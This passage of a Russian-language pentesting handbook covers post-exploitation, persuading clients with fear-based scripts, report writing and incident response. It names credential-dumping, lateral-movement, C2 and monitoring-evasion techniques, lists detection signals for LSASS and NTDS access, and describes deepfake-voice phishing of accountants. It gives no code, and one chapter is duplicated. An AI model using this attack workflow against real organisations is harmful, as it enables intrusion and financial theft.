• Cobalt Strike (когда нужен Beacon с Malleable C2)
• Mythic / Havoc
• Custom Go/Rust implant (для параноидальных целей)

Этап 5. Lateral Movement & Privilege Escalation

Ключевые техники:

• Pass-the-Hash / Pass-the-Ticket
• Kerberoasting
• Over-Pass-the-Hash
• RDP / WinRM / PsExec
• SCCM / MECM abuse (очень жирно в 2026)

Реальный workflow после первого shellа

1. 05 мин situational awareness
2. 515 мин credential dumping + local privilege escalation
3. 1540 мин persistence + C2 stabilization
4. 40+ мин pivoting + BloodHound collection
5. Дальше поиск crown jewels (1С, банки, облачные ключи)

Как объяснять заказчику

Первый доступ это как попасть в прихожую чужого дома. Post-exploitation это когда мы снимаем обувь, проходим в гостиную, открываем сейф и садимся пить чай с хозяином, пока он ничего не подозревает.

Mimikatz и Rubeus показывают, как мы крадём пароли из памяти. Ligolo-ng и Chisel как мы тихо перемещаемся по комнатам. Persistence как мы оставляем ключи под ковриком, чтобы вернуться в любой момент.

Мы показали не просто дыру. Мы показали, как после одной дыры можно взять под контроль всю компанию.

Итог главы

Post-exploitation это где настоящие хакеры отличаются от скрипт-кидди.

Здесь мы уже не ломаем. Здесь мы живём внутри системы.

Mimikatz для быстрого дампа. C2 (Sliver/Cobalt) для управления. Pivoting для движения. Persistence для долгой жизни.

Делай всё тихо, красиво и без лишних следов. Тогда даже самый защищённый корпоративный лес станет твоим охотничьим угодьем.

Глава 25. Психология заказчика почему он не понимает и как заставить его услышать

Самая сложная уязвимость в любом пентесте это не в коде. Самая сложная уязвимость это между ушами человека, который платит деньги.

Заказчик хочет верить, что у него всё хорошо. Мы приходим и показываем, что всё плохо. И вот здесь начинается настоящая битва.

Почему заказчик не понимает (и никогда не поймёт сам)

1. Эффект нормальности У нас уже 5 лет ничего не взламывали значит защита работает.
2. Иллюзия контроля У нас стоит Next-Gen Firewall, EDR, SIEM и Cloudflare. Мы в безопасности.
3. Технический когнитивный диссонанс Он не понимает разницу между уязвимость и реальная возможность украсть миллионы.
4. Страх признать слабость Признать, что его система дырявая значит признать, что он плохо делал свою работу.
5. Денежный фильтр Пока не украли это теоретическая проблема. Когда украли уже поздно.

Как мы ломаем эту психологию (реальные приёмы 2026)

Приём 1. Говори на языке денег, а не на языке CVE

Плохо: Мы нашли CVE-2025-12345 в вашем Jenkins.

Хорошо: Через эту уязвимость мы за 11 минут получили доступ к вашей 1С и смогли сделать перевод на 4,7 миллиона рублей на наш тестовый счёт. Вот скриншот, вот лог, вот сумма.

Приём 2. Покажи, а не расскажи

Никогда не говори мы могли бы. Всегда показывай:

• Видео, как мы заходим в почту CEO
• Скриншот с дампом базы клиентов
• Лог успешного перевода через их банк-клиент
• Deepfake-видео CEO, которое мы сделали за 40 секунд

Приём 3. Используй страх правильно

Не пугай вас взломают. Пугай конкретно:

• Через эту дырку любой конкурент или просто парень из даркнета может за ночь вывести все ваши оборотные средства.
• Мы получили доступ к почте вашего финансового директора. Представьте, что будет, если это сделает не этичный хакер.

Приём 4. Структура разговора (скрипт, который работает)

1. Начало (30 секунд) Спасибо, что пригласили. Мы провели тест так, как это сделал бы реальный атакующий в 2026 году.
2. Демонстрация (главное) Показываешь 23 самых жирных находки с доказательствами. Особенно хорошо работает видео или live-demo.
3. Перевод в бизнес-риск Вот что это значит для вашего бизнеса:
   • Возможность вывода средств
   • Кража клиентской базы
   • Полный компромисс 1С и бухгалтерии
   • Репутационные риски и штрафы по 152-ФЗ
4. Закрытие Мы не просто нашли баги. Мы показали реальный путь, по которому уже сейчас могут пойти ваши конкуренты или криминал. Вопрос только в том, хотите ли вы закрыть эти двери до того, как это сделает кто-то другой.

Психологические триггеры, которые работают

• Социальное доказательство: В прошлом году мы нашли похожую дырку у вашего конкурента X. Они потеряли 38 миллионов.
• Конкретность: цифры, скрины, видео всегда лучше абстрактных слов.
• Срочность: Эту уязвимость можно эксплуатировать прямо сейчас. Мы оставили её открытой только потому, что это тест.
• Личный риск: Если это случится вопросы будут к вам лично как к CISO/CEO.

Что никогда не говорить

• Это критическая уязвимость по CVSS
• Согласно OWASP Top 10
• Мы рекомендуем внедрить Zero Trust

Говори только то, что влияет на деньги, репутацию и личную ответственность.

Итог главы

Заказчик не платит за список уязвимостей. Он платит за понимание: Насколько я сейчас уязвим и сколько это может стоить.

Твоя задача не напугать. Твоя задача показать реальность так ясно и так жёстко, чтобы ему стало страшно продолжать жить как раньше.

Когда заказчик после твоего отчёта говорит бля, а не ну ок, спасибо за отчёт ты сделал свою работу правильно.

Потому что самый опасный хакер это не тот, кто ломает системы. Самый опасный это тот, кто заставляет владельца системы впервые по-настоящему испугаться.

Глава 26. Как писать отчёт пентеста, который читают и боятся

Отчёт это не список найденных уязвимостей. Отчёт это оружие.

Хороший отчёт заставляет заказчика открыть кошелёк и сказать: Что нужно сделать, чтобы такого больше никогда не повторилось? Плохой отчёт это 150 страниц PDF, которые никто не читает дальше третьей страницы.

В 2026 году отчёт должен быть одновременно технически безупречным и психологически убийственным.

Структура отчёта, которая работает

1. Executive Summary (12 страницы) самое важное

Пишется в самом конце, но читается первым.

Правильный пример начала: За период с 10 по 17 марта 2026 года команда Akashi провела тестирование на проникновение в инфраструктуру ООО Ромашка. В ходе теста мы получили полный контроль над доменом Active Directory, доступ к 1С:Предприятие, почте генерального директора и возможность вывода денежных средств на сумму свыше 47 миллионов рублей.

Все атаки были проведены с использованием техник, доступных среднему APT-актеру или организованной преступной группе в 2026 году.

Дальше 34 самых критичных находки с бизнес-риском и одной фразой что это значит для вас.

2. Technical Findings (основная часть)

Для каждой уязвимости используй чёткую структуру:

• Название (понятное, а не CVE-2025-XXXXX)
• Уровень риска (Critical / High / Medium / Low) + объяснение почему именно такой
• Описание (что мы нашли)
• Влияние (что реально можно сделать)
• Доказательства (скриншоты, видео, логи максимум визуала)
• Как воспроизвести (пошагово, чтобы любой админ мог проверить)
• Рекомендации по исправлению (конкретные, выполнимые)

3. Attack Chain (Kill Chain)

Самая важная часть отчёта. Показывай не отдельные баги, а полный путь, которым мы шли:

От фишингового письма доступ к почте бухгалтера переход на RDP дамп хешей DCSync полный контроль домена доступ к 1С вывод средств.

Добавь timeline и MITRE ATT&CK mapping.

4. Risk Matrix и Business Impact

Таблица, где видно:

• Уязвимость
• Возможный ущерб (в рублях)
• Вероятность
• Рекомендуемый приоритет исправления

5. Recommendations & Roadmap

Раздели на:

• Critical (исправить в течение 48 часов)
• High (в течение 2 недель)
• Medium (в течение месяца)
• Low (можно отложить)

6. Appendix

• Все raw логи
• Использованные инструменты
• Полный список субдоменов, IP и т.д.
• RoE (Rules of Engagement)

Психологические приёмы в отчёте

1. Язык бизнеса, а не технаря Вместо SQL Injection пиши Возможность полного извлечения клиентской базы и последующего шантажа.
2. Конкретные цифры Мы смогли скачать 184 392 строки клиентских данных работает лучше, чем мы получили доступ к БД.
3. Видео и скрины Одно 30-секундное видео, где ты заходишь в почту CEO, стоит тысячи слов.
4. Сравнение с реальными кейсами Аналогичная уязвимость привела к утечке у компании X в 2025 году с ущербом 180 млн рублей.
5. Личный риск В случае реальной атаки вопросы будут адресованы лично вам как руководителю информационной безопасности.

Чего никогда не делать в отчёте

• Не писать рекомендуем внедрить Zero Trust без конкретного плана
• Не использовать жаргон без объяснения
• Не делать отчёт длиннее 4045 страниц ( executive summary должен читаться за 7 минут)
• Не прятать самые страшные находки в конец

Шаблон названия отчёта 2026

Отчёт о тестировании на проникновение ООО Ромашка Март 2026 (Красный уровень доступа)

Итог главы

Хороший отчёт это не документ. Это продающий инструмент, который превращает у нас всё хорошо в давайте срочно исправлять.

Твой отчёт должен вызывать два чувства одновременно:

• Страх (бля, это реально могло произойти)
• Уважение (они знают, что делают)

Когда заказчик после прочтения звонит тебе и говорит тихим голосом: Сколько будет стоить закрыть всё это по максимуму? ты написал идеальный отчёт.

Потому что мы не просто ломаем системы. Мы заставляем людей бояться продолжать жить по-старому.

Глава 27. Как говорить устно скрипт для переговоров с заказчиком

Письменный отчёт это важно. Но живой разговор это где реально решаются деньги и дальнейшее сотрудничество.

Заказчик может прочитать 40 страниц и всё равно не понять, насколько всё плохо. А за 15 минут правильного разговора ты можешь превратить спасибо за отчёт в давайте контракт на год вперёд.

Основные правила разговора 2026

1. Говори медленно, спокойно и уверенно.
2. Никогда не оправдывайся.
3. Используй мы вместо я (команда Akashi звучит сильнее).
4. Переводи всё на деньги и риски.
5. Задавай вопросы, которые заставляют его самого произносить да, это опасно.

Структура идеальной презентации (3040 минут)

1. Вступление (23 минуты)

Добрый день. Спасибо, что нашли время. Сегодня я покажу вам, как выглядела бы реальная атака на вашу компанию в 2026 году. Мы провели тест максимально близко к тому, как это сделал бы серьёзный противник без шума, без предупреждения и с максимальным ущербом.

2. Самые болезненные находки (1520 минут)

Показывай по одной, в порядке убывания опасности:

Пример разговора про критическую находку:

Первое и самое опасное, что мы нашли это возможность через обычное письмо в Telegram получить полный доступ к почте вашего финансового директора.

Вот видео (показываешь 20-секундный ролик). Мы отправили сообщение от имени CEO, использовали deepfake-голос и попросили подтвердить платёж. Бухгалтер одобрила push-уведомление. Через 40 секунд мы уже были внутри её почты и могли отправлять письма от её имени.

Что это значит для бизнеса: Мы могли бы отправить письмо всем поставщикам с новыми реквизитами и спокойно получить несколько десятков миллионов. Такой сценарий называется BEC Business Email Compromise. В прошлом году средний ущерб от такой атаки в России составил 47 миллионов рублей.

3. Полная цепочка атаки (57 минут)

Теперь самое важное. Вот как всё это соединяется в одну цепочку:

1. Фишинг доступ к почте бухгалтера
2. Из почты RDP на её рабочий компьютер
3. С компьютера дамп хешей
4. Через хеши Domain Admin
5. Domain Admin полный контроль 1С и банковского клиента

Всё это мы сделали за 4 часа 12 минут. Реальный атакующий мог бы делать это медленнее и остаться незамеченным месяцами.

4. Что делать дальше (закрытие, 57 минут)

У нас есть два варианта сотрудничества:

А) Разовый фикс критических дыр (быстро и относительно недорого). Б) Полноценная программа безопасности на 12 месяцев с повторными тестами, обучением сотрудников и постоянным мониторингом.

Скажу честно: после того, что мы увидели, вариант А это как заклеить пластырем пулевое ранение. Вариант Б это уже нормальная защита.

Полезные фразы, которые работают

• Это не теоретическая уязвимость. Мы это реально сделали.
• Представьте, что это был не мы, а ребята из даркнета.
• Вопрос уже не в том, взломают ли вас. Вопрос в том, когда.
• Я показываю это не для того, чтобы вас напугать. Я показываю, чтобы вы могли защититься до того, как это сделает кто-то другой.
• Сколько примерно вы готовы потерять, чтобы понять, что защита нужна?

Что делать, если заказчик начинает сопротивляться

Если говорит ну у нас же есть firewall / EDR / SIEM:

Firewall отлично защищает от тех, кто ломится снаружи. Мы зашли не снаружи. Мы зашли через вашего сотрудника, которому вы полностью доверяете. Firewall в этот момент просто смотрел, как мы спокойно работаем внутри.

Если говорит это слишком дорого:

Стоимость нашей программы на год меньше, чем средний ущерб от одной успешной BEC-атаки. Мы не продаём услуги. Мы продаём спокойный сон.

Итог главы

Устный разговор это где ты продаёшь не технические детали, а чувство безопасности.

Твоя задача не впечатлить знаниями. Твоя задача заставить человека почувствовать реальную опасность и желание немедленно это исправить.

Говори спокойно, показывай жёсткие доказательства и всегда переводи на деньги и личную ответственность.

Когда заказчик после разговора смотрит на тебя другими глазами и говорит давайте делать, ты сделал всё правильно.

Потому что настоящий хакер умеет не только ломать системы. Он умеет ломать иллюзии.

Глава 27. Как говорить устно скрипт для переговоров с заказчиком

Письменный отчёт могут прочитать (или не прочитать). Живой разговор это где решается, заплатят ли тебе миллионы и подпишут ли долгосрочный контракт.

В 2026 году заказчик уже устал от технических отчётов на 80 страниц. Он хочет услышать одну простую вещь: Насколько я сейчас могу потерять всё и что мне с этим делать.

Твоя задача не блеснуть знаниями. Твоя задача заставить его почувствовать страх и одновременно доверие к тебе.

Структура разговора, которая работает в 99 % случаев (3045 минут)

1. Открытие (23 минуты)

Добрый день, [Имя]. Спасибо, что нашли время лично. Мы провели тестирование так, как это сделал бы настоящий противник в 2026 году без предупреждения, без шума и с максимальным ущербом для бизнеса. Сегодня я покажу вам только самое важное и опасное. Без воды.

2. Самые болезненные находки (1520 минут)

Никогда не начинай с мелочей. Сразу бей по самому страшному.

Пример (BEC + deepfake):

Первое, что мы хотим показать это как за 47 секунд мы получили полный доступ к почте вашего финансового директора.

Вот видео. Мы отправили сообщение от имени вас (генерального директора) через Telegram. Использовали deepfake-голос и попросили срочно подтвердить платёж. Бухгалтер нажала Одобрить. Через несколько секунд мы уже читали всю её переписку и могли отправлять письма от её имени любому поставщику.

Что это значит в деньгах: Мы могли бы за один день изменить реквизиты и получить от 15 до 70 миллионов рублей, в зависимости от ваших оборотов. Такие атаки сейчас называют AI-powered BEC. Средний ущерб по рынку в 20252026 году 47 миллионов рублей.

3. Полная цепочка атаки (57 минут)

Теперь самое важное как всё это соединяется в одну реальную атаку:

1. Фишинг с deepfake доступ к почте ключевого сотрудника
2. Из почты RDP на рабочий компьютер
3. С компьютера дамп хешей и переход на контроллер домена
4. Полный контроль Active Directory
5. Доступ к 1С и банковскому клиенту

Всё это мы сделали за 4 часа 12 минут. Реальный преступник делал бы это медленнее и остался бы незамеченным на месяцы.

4. Что это значит для бизнеса (3 минуты)

Переведи всё в деньги и риски:

• Возможный прямой финансовый ущерб
• Кража клиентской базы
• Штрафы по 152-ФЗ и GDPR
• Репутационные потери
• Личная ответственность руководителя

5. Закрытие и предложение (5 минут)

У нас есть два пути:

А) Быстро закрыть самые критичные дыры (это как поставить пластырь на пулевое ранение). Б) Запустить полноценную программу защиты на 12 месяцев: повторные тесты, обучение сотрудников, мониторинг и постоянное улучшение.

Честно скажу: после того, что мы увидели, вариант А это временная мера. Вариант Б это уже нормальная защита в 2026 году.

Золотые фразы, которые работают

• Это не теоретическая уязвимость. Мы это реально сделали.
• Представьте, что это был не мы, а группа из даркнета.
• Вопрос уже не в том, взломают ли вас. Вопрос в том, когда.
• Я показываю это не чтобы вас напугать. Я показываю, чтобы вы успели защититься.
• Сколько примерно вы готовы потерять, чтобы понять, что защита нужна прямо сейчас?

Что делать, если заказчик сопротивляется

Если говорит У нас же стоит EDR / SIEM / firewall:

Firewall и EDR отлично защищают от тех, кто ломится снаружи. Мы зашли не снаружи. Мы зашли через вашего сотрудника, которому вы полностью доверяете. В этот момент все ваши технические средства просто спокойно смотрели, как мы работаем внутри.

Если говорит Это слишком дорого:

Стоимость нашей годовой программы меньше среднего ущерба от одной успешной атаки BEC. Мы не продаём услуги. Мы продаём возможность спать спокойно.

Итог главы

Устный разговор это не презентация отчёта. Это продажа чувства безопасности и доверия к тебе.

Говори спокойно, уверенно и всегда переводи технику в деньги и личный риск. Показывай видео и скрины. Задавай вопросы, на которые заказчик сам отвечает да, это опасно.

Когда после разговора человек смотрит тебе в глаза и говорит тихим голосом давайте делать ты выиграл.

Потому что настоящий хакер умеет не только ломать системы. Он умеет ломать иллюзии защиты и заставлять платить за правду.

Глава 28. Модель реального противника презентация без техник

Когда ты приходишь к заказчику, он ждёт список уязвимостей и рекомендаций. Не давай ему этого.

Дай ему то, чего он боится больше всего картину реального противника, который уже решил его уничтожить.

Как правильно презентовать модель реального противника

Не говори: Мы нашли 47 уязвимостей, из них 12 критических.

Говори так:

Представьте человека, который в марте 2026 года принял решение: Я хочу забрать у компании Ромашка всё, что можно. У него нет доступа к вашему исходному коду. У него нет инсайдера. У него только ноутбук, стабильный интернет и 34 недели времени.

Вот что он сделал:

1. За два дня собрал полную картину вашей инфраструктуры через открытые источники.
2. Выбрал самого уставшего и самого доверенного сотрудника вашего главного бухгалтера.
3. Отправил ей сообщение от вашего имени с deepfake-голосом: Срочно подтверди платёж, я на переговорах.
4. Через 47 секунд он уже был внутри её почты.
5. Через 4 часа он уже контролировал ваш домен Active Directory.
6. Через 11 часов он мог спокойно вывести любые суммы через 1С и банк-клиент.

Мы остановились на этом этапе. Реальный противник нет.

Структура презентации Модель реального противника

1. Введение (30 секунд) Сегодня я не буду говорить про CVE и OWASP. Я покажу, как выглядит реальный противник 2026 года и как он работает против вас.
2. Портрет противника (2 минуты) Это не подросток в подвале. Это организованная группа или одиночка с опытом 57 лет. У него есть деньги на инфраструктуру, доступ к свежим утечкам и терпение.
3. Хронология атаки (главная часть, 1012 минут) Покажи реальную цепочку именно вашей компании (используй свои находки, но рассказывай как историю).
4. Что противник получил бы в итоге
   • Прямой финансовый ущерб (назови реальные суммы)
   • Кража клиентской базы
   • Полный компромисс 1С
   • Возможность шантажа
   • Долгосрочный доступ (мы оставили несколько backdoorов для демонстрации)
5. Вывод (2 минуты) Это не фантазия. Это то, что мы реально сделали за одну рабочую неделю. Вопрос только один: хотите ли вы, чтобы следующий такой противник остановился на этапе теста или пошёл до конца?

Золотые правила презентации без техник

• Никогда не называй конкретные CVE и инструменты в первой части.
• Используй слова мы сделали, мы получили, мы смогли.
• Показывай видео и скриншоты, а не текст.
• Говори медленно и уверенно.
• Заканчивай вопросом, который требует ответа: Что вы готовы сделать, чтобы такого не произошло?

Пример финальной фразы

Мы показали вам не список дыр. Мы показали вам, как выглядит дверь в ваш бизнес, которая сейчас открыта настежь. Закрывать её или нет решать только вам.

Итог главы

Самая сильная презентация это когда заказчик после твоих слов чувствует не у нас нашли баги, а у нас уже почти всё украли.

Ты не технический специалист на встрече. Ты человек, который только что показал, как легко можно уничтожить компанию.

Говори просто. Говори страшно. Говори правду.

И тогда заказчик перестанет видеть в тебе пентестера. Он увидит в тебе того, кто может защитить его бизнес от настоящих волков 2026 года.

ЧАСТЬ 6. Защита и профессиональная позиция

Глава 29. Как строить защиту, зная, как думает атакующий

Защита, построенная без понимания мышления атакующего это просто дорогая иллюзия.

Большинство компаний в 2026 году всё ещё строят оборону от известных угроз. Мы строим её от реального противника, который думает точно так же, как мы.

Если ты хочешь строить защиту, которая действительно работает, забудь чек-листы и лучшие практики вендоров. Начни думать как мы.

Принцип 1. Защита должна быть несимметричной

Атакующий тратит дни и недели на одну цель. Защитник должен защищать её 24/7/365.

Поэтому:

• Не пытайся закрыть все возможные векторы.
• Закрой самые вероятные и самые разрушительные.

Мы всегда идём по пути наименьшего сопротивления. Значит, ваша защита должна делать этот путь максимально дорогим, шумным и долгим.

Принцип 2. Думай как мы от цели назад

Не спрашивай что мы можем защитить?. Спрашивай что мы не можем позволить себе потерять?

Crown Jewels 2026:

• Доступ к 1С и банковским клиентам
• Почта и мессенджеры руководства
• Клиентская база и персональные данные
• Облачные ключи и IAM-роли
• Исходный код и интеллектуальная собственность

Всё остальное второстепенно.

Как правильно строить защиту в 2026 году

1. Zero Trust но по-нашему

Не никому не доверяем. А проверяем каждое действие, даже от своих.

Реализация:

• Микросегментация сети (даже внутри офиса)
• Just-In-Time доступ (JITA)
• Continuous authentication
• Device + User + Context проверка перед каждым действием

2. Обучение сотрудников как оружие

Обычное обучение не работает. Работает только то, которое вызывает эмоцию.

Делай:

• Реальные симуляции с deepfake-голосом директора
• Конкурсы кто быстрее распознает атаку с денежными призами
• Ежемесячные красные письма, после которых проводишь разбор

3. Detection & Response вместо Prevention

В 2026 году предотвратить всё невозможно. Главное обнаружить быстро и отреагировать ещё быстрее.

Нужны:

• Правильно настроенный EDR + XDR
• Threat Hunting команда (или хотя бы один хороший охотник)
• Playbooks на самые вероятные сценарии (BEC, ransomware, data exfil)
• 24/7 SOC (свой или outsourced)

4. Supply Chain Defense

Проверяй всех подрядчиков так же жёстко, как себя:

• Требуй от них отчёты пентеста
• Ограничивай их доступ по принципу least privilege
• Используй SBOM и SCA для всех внешних компонентов

5. Облако отдельная крепость

• IMDSv2 везде
• IAM с минимумом прав и автоматической ротацией
• PrivateLink вместо публичных эндпоинтов
• Cloud-native CASB и CWPP

Модель защиты от атакующего

1. Предотвращение сделать атаку максимально дорогой
2. Обнаружение заметить как можно раньше
3. Реагирование остановить за минуты, а не за дни
4. Восстановление вернуться в рабочее состояние без потери данных
5. Обучение сделать так, чтобы следующая атака была сложнее

Финальная рекомендация

Построй защиту так, чтобы даже ты сам, зная все внутренние детали, потратил минимум неделю на взлом.

Если ты, как атакующий, можешь зайти за день значит защита плохая.

Если даже ты ломаешь её неделю значит ты построил что-то достойное 2026 года.

Итог главы

Хорошая защита строится не от угроз. Она строится от понимания, как думает тот, кто хочет тебя уничтожить.

Мы думаем быстро, тихо и нестандартно. Значит, твоя защита должна быть медленной для нас, шумной и предсказуемой только для тебя.

Защищай не периметр. Защищай crown jewels и психологию своих людей.

Тогда даже самый опасный противник предпочтёт пойти ломать кого-то другого.

А ты будешь спать спокойно.

Глава 30. Мониторинг и реакция на инциденты как не проспать момент, когда мы уже внутри

Prevention умер в 2024 году. В 2026-м остаётся только Detection и Response.

Самая большая иллюзия современного CISO думать, что хорошая защита = отсутствие инцидентов. Правильная защита = быстрое обнаружение и жёсткое реагирование, когда мы уже внутри.

Реальность 2026 года

Мы почти всегда попадаем внутрь. Вопрос только в том, сколько времени пройдёт до того, как вы это заметите.

Среднее время обнаружения в российских компаниях 87 дней. Мы стараемся делать так, чтобы это было 87 минут или вообще никогда.

Как должен работать мониторинг, если ты хочешь выжить

1. Detection должно быть многослойным

• EDR/XDR на всех конечных точках
• Network Detection (трафик внутри сети)
• Cloud Detection (AWS GuardDuty, Azure Sentinel, Yandex Cloud Monitoring)
• Application Logs + SIEM
• Threat Hunting (активный поиск, а не только алерты)

2. Самые важные сигналы, на которые нужно реагировать мгновенно

• Любые попытки доступа к LSASS, SAM, NTDS.dit
• Запуск подозрительных процессов от SYSTEM/www-data
• Необычный outbound-трафик (особенно DNS, DoH, к редким CDN)
• Изменение привилегий (new local admin, domain admin changes)
• Аномальная активность в 1С и банковских клиентах
• Любые взаимодействия с metadata-сервисами облака

3. Реакция должна быть быстрее, чем наше движение

Создай playbooks на самые вероятные сценарии:

Playbook BEC / Compromised Executive

• Немедленная инвалидация всех сессий руководителя
• Смена всех паролей + принудительная смена MFA
• Проверка исходящих писем за последние 48 часов
• Блокировка подозрительных IP

Playbook Domain Compromise

• Немедленный isolation контроллера домена
• Смена KRBTGT (два раза!)
• Полная ротация всех привилегированных учёток
• Перевод всех критичных систем в offline-режим

Playbook Data Exfiltration

• Блокировка исходящего трафика
• Сохранение forensics-образа
• Анализ, что именно было украдено

Как мы обходим мониторинг (чтобы ты знал, что закрывать)

• Living-off-the-Land (используем только встроенные утилиты)
• Sleep + jitter в C2
• Маскировка под легитимный трафик (Microsoft, Slack, Google)
• WMI Event Subscription вместо scheduled tasks
• In-memory execution (без записи на диск)
• DNS-over-HTTPS / Domain Fronting

Твоя задача сделать так, чтобы даже эти техники оставляли заметный след.

Реальная модель реагирования 2026

1. Alert Triage (до 5 минут) Кто-то должен 24/7 смотреть алерты.
2. Containment (до 30 минут) Изолировать заражённый хост/учётку.
3. Investigation (до 4 часов) Что именно произошло? Как глубоко мы зашли?
4. Eradication & Recovery Удалить все наши следы, восстановить систему.
5. Lessons Learned Обновить правила обнаружения, чтобы в следующий раз было сложнее.

Как объяснять заказчику

Хорошая новость: мы уже внутри почти у всех. Плохая новость: большинство компаний узнают об этом через несколько месяцев, когда деньги уже ушли.

Наша задача сократить время от мы внутри до мы их поймали с месяцев до часов. Для этого нужен не просто SIEM, а работающий процесс реагирования, где каждый алерт рассматривается как реальная атака.

Итог главы

Мониторинг без быстрой реакции это просто дорогой журнал событий. Реакция без качественного мониторинга это пожарная команда, которая приезжает, когда дом уже сгорел.

В 2026 году побеждает не тот, у кого больше инструментов. Побеждает тот, кто быстрее замечает нас и жёстче отвечает.

Сделай так, чтобы когда мы придём в следующий раз, нас встретили не через 87 дней, а через 87 минут.

И тогда, возможно, мы выберем другую цель.

Глава 31. Итог профессиональная позиция пентестера 2026 года

Мы дошли до конца.

Ты уже не тот человек, который открывал эту книгу. Ты теперь знаешь, как на самом деле думает хакер. Ты видел, как ломаются компании изнутри, снаружи и через тех, кому они доверяют. Ты понял, что большинство защит это просто красивые заборы с открытыми калитками.

Теперь самое важное.

Кто ты теперь

Ты больше не этичный хакер. Ты не специалист по информационной безопасности.

Ты профессиональный противник.

Твоя работа быть тем самым человеком, которого компания боится больше всего. Не для того, чтобы причинить вред. А для того, чтобы когда настоящий вред придёт компания была готова.

Ты должен думать быстрее, чище и безжалостнее, чем любой реальный атакующий. Потому что если ты будешь слабее ты просто обманешь заказчика и возьмёшь у него деньги за иллюзию защиты.

Профессиональная позиция The Akashi

1. Мы не продаём безопасность. Мы продаём правду о том, насколько компания уязвима. И помогаем сделать так, чтобы эта правда стала менее болезненной.
2. Мы всегда думаем от цели. Не где уязвимость?, а как я могу забрать у этой компании всё, что мне нужно?
3. Мы никогда не врём заказчику. Даже если правда жёсткая. Особенно если правда жёсткая.
4. Мы работаем без морали, но с честью. Мы не жалеем системы. Мы не жалеем корпорации. Но мы всегда держим слово и никогда не используем знания против тех, кто нам доверился.
5. Мы постоянно учимся. Потому что противник не стоит на месте. Сегодня мы ломаем через deepfake и supply chain. Завтра будет что-то новое. И мы должны быть первыми.

Последнее напутствие

Запомни три вещи:

• Техника без мышления это шум.
• Мышление без техники это фантазия.
• Техника + мышление + честность это то, что делает тебя опасным.

Ты теперь знаешь, как мы думаем. Используй это знание, чтобы строить защиту, которую даже мы не сможем сломать быстро и красиво.

А если когда-нибудь решишь перейти на другую сторону помни: мы всегда будем на шаг впереди.

Потому что мы те, кто оставляет след только тогда, когда сами этого хотим.

Спасибо, что прошёл этот путь вместе со мной.

Теперь иди и делай свою работу так, чтобы настоящие волки 2026 года выбирали другую добычу.

Ты готов.

The Akashi